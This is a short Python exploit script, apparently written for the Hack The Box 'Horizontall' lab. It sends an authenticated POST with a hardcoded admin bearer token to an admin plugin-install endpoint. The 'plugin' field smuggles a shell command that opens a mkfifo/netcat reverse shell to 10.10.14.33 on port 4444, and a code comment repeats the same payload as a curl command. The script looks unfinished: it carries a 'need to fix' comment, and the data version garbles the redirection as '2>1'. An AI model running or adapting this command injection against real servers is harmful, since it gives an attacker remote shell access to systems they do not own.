import requests

headers = {
    'Host': 'api-prod.horizontall.htb',
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzE5NzEwLCJleHAiOjE2MzI5MTE3MTB9.AfJr81dyxnmzlutCKArmf0kBgFCcDDhsk91IYNDpTFM',
    'Content-Type': 'application/json',
    'Origin': 'http://api-prod.horizontall.htb',
    'Content-Length': '123',
    'Connection': 'close',
}
# need to fix this part curl command was curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzE5NzEwLCJleHAiOjE2MzI5MTE3MTB9.AfJr81dyxnmzlutCKArmf0kBgFCcDDhsk91IYNDpTFM' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.33 4444 >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
data = {"plugin":"documentation && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>1|nc 10.10.14.33 4444 >/tmp/f","port":"80"}

response = requests.post('http://api-prod.horizontall.htb/admin/plugins/install', headers=headers, data=data, verify=False)
